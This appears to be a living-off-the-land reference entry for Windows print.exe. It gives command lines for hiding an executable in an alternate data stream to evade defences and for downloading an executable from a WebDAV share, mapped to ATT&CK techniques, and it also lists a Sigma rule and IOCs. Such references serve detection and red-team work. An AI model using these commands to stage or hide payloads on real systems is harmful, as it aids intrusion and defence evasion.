.. /Print.exe

Alternate data streams

Copy

Used by Windows to send files to the printer

Paths:

C:\Windows\System32\print.exe C:\Windows\SysWOW64\print.exe

Resources:

- https://twitter.com/Oddvarmoe/status/985518877076541440
- https://www.youtube.com/watch?

v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410

Acknowledgements:

Oddvar Moe (<u>@oddvarmoe</u>)

Detections:

Sigma:

https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml

- IOC: Print.exe retrieving files from internet
- IOC: Print.exe creating executable files on disk

Alternate data streams

Copy file.exe into the Alternate Data Stream (ADS) of file.txt.

print /D:C:\ADS\File.txt:file.exe C:\ADS\File.exe

Use case: Hide binary file in alternate data stream to potentially bypass defensive counter measures

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1564.004

Copy

Copy FileToCopy.exe to the target C:\ADS\CopyOfFile.exe

print /D:C:\ADS\CopyOfFile.exe C:\ADS\FileToCopy.exe

Use case: Copy files Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1105

. Copy File.exe from a network share to the target c:\OutFolder\outfile.exe.

print /D:C:\OutFolder\outfile.exe \\WebDavServer\Folder\File.exe

Use case: Copy/Download file from remote server

Privileges required: User

Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique: T1105